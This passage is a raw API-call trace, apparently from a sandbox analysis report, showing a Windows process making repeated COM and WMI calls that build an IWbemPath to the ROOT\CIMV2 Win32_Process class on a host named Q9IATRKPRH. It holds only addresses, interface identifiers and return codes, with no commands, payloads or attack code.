[0087.257] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f8650, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea1f70) returned 0x0 [0087.257] WbemDefPath:IUnknown:Release (This=0x11f8650) returned 0x0 [0087.257] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1f70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea1f70) returned 0x0 [0087.257] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1f70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0087.257] WbemDefPath:IUnknown:AddRef (This=0x1bea1f70) returned 0x3 [0087.257] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1f70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0087.257] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1f70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0087.258] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1f70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f8590) returned 0x0 [0087.258] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f8590, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.258] WbemDefPath:IUnknown:Release (This=0x11f8590) returned 0x3 [0087.258] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0087.258] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0087.258] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1f70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0087.258] WbemDefPath:IUnknown:Release (This=0x1bea1f70) returned 0x2 [0087.258] WbemDefPath:IUnknown:Release (This=0x1bea1f70) returned 0x1 [0087.258] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0087.258] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0087.259] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1f70, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea1f70) returned 0x0 [0087.259] WbemDefPath:IUnknown:AddRef (This=0x1bea1f70) returned 0x3 [0087.259] WbemDefPath:IUnknown:Release (This=0x1bea1f70) returned 0x2 [0087.259] WbemDefPath:IWbemPath:SetText (This=0x1bea1f70, uMode=0x4, pszPath="") returned 0x0 [0087.259] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1f70, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0087.259] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c6c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0087.259] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea1f70, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0087.259] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea1f70, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0087.259] WbemDefPath:IWbemPath:SetServer (This=0x1bea1f70, Name="Q9IATRKPRH") returned 0x0 [0087.260] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0087.260] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0087.260] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0087.260] IUnknown:Release (This=0x111f638) returned 0x1 [0087.263] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f85f0) returned 0x0 [0087.263] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f85f0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0087.263] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f85f0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea1bb0) returned 0x0 [0087.263] WbemDefPath:IUnknown:Release (This=0x11f85f0) returned 0x0 [0087.263] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1bb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea1bb0) returned 0x0 [0087.265] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1bb0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0087.265] WbemDefPath:IUnknown:AddRef (This=0x1bea1bb0) returned 0x3 [0087.265] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1bb0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0087.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1bb0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0087.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1bb0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f8630) returned 0x0 [0087.266] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f8630, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.266] WbemDefPath:IUnknown:Release (This=0x11f8630) returned 0x3 [0087.266] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0087.266] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0087.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1bb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0087.266] WbemDefPath:IUnknown:Release (This=0x1bea1bb0) returned 0x2 [0087.266] WbemDefPath:IUnknown:Release (This=0x1bea1bb0) returned 0x1 [0087.266] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0087.266] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0087.267] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1bb0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea1bb0) returned 0x0 [0087.267] WbemDefPath:IUnknown:AddRef (This=0x1bea1bb0) returned 0x3 [0087.267] WbemDefPath:IUnknown:Release (This=0x1bea1bb0) returned 0x2 [0087.267] WbemDefPath:IWbemPath:SetText (This=0x1bea1bb0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0087.267] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1f70, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0087.267] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1bb0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0087.267] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1bb0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0087.267] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1bb0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0087.267] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea1f70) returned 0x0 [0087.267] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1bb0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0087.267] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1bb0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0087.267] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1bb0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0087.268] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea1f70, uIndex=0x0, pszName="ROOT") returned 0x0 [0087.268] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1bb0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0087.268] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1bb0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0087.268] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea1f70, uIndex=0x1, pszName="CIMV2") returned 0x0 [0087.268] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea1f70, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0087.268] WbemDefPath:IWbemPath:SetClassName (This=0x1bea1f70, Name="Win32_Process") returned 0x0 [0087.268] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1f70, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0087.268] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1f70, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0087.268] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1f70, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0087.268] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1f70, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0087.269] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1f70, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0087.269] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1f70, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0087.269] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1f70, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0087.269] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1f70, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0087.269] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c540, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0087.269] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0087.269] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0087.269] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1f70, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0087.269] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1f70, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0087.269] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0087.269] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0087.269] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0087.269] IUnknown:Release (This=0x111f638) returned 0x1 [0087.272] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x11f7810) returned 0x0 [0087.272] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f7810, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0087.272] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f7810, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bea1730) returned 0x0 [0087.272] WbemDefPath:IUnknown:Release (This=0x11f7810) returned 0x0 [0087.272] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1730, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bea1730) returned 0x0 [0087.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1730, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0087.273] WbemDefPath:IUnknown:AddRef (This=0x1bea1730) returned 0x3 [0087.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1730, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0087.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1730, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0087.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1730, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x11f7890) returned 0x0 [0087.273] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f7890, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.273] WbemDefPath:IUnknown:Release (This=0x11f7890) returned 0x3 [0087.273] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0087.273] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0087.274] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1730, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0087.274] WbemDefPath:IUnknown:Release (This=0x1bea1730) returned 0x2 [0087.274] WbemDefPath:IUnknown:Release (This=0x1bea1730) returned 0x1 [0087.274] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0087.274] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0087.274] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1730, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bea1730) returned 0x0 [0087.274] WbemDefPath:IUnknown:AddRef (This=0x1bea1730) returned 0x3 [0087.274] WbemDefPath:IUnknown:Release (This=0x1bea1730) returned 0x2 [0087.274] WbemDefPath:IWbemPath:SetText (This=0x1bea1730, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0087.310] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c540, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0087.310] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0087.310] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.310] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0087.310] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0087.310] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0087.310] IUnknown:Release (This=0x111f638) returned 0x1 [0087.312] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f7c50) returned 0x0 [0087.312] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f7c50, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0087.312] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f7c50, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea1370) returned 0x0 [0087.312] WbemDefPath:IUnknown:Release (This=0x11f7c50) returned 0x0 [0087.312] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1370, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea1370) returned 0x0 [0087.312] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1370, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0087.313] WbemDefPath:IUnknown:AddRef (This=0x1bea1370) returned 0x3 [0087.313] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1370, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, 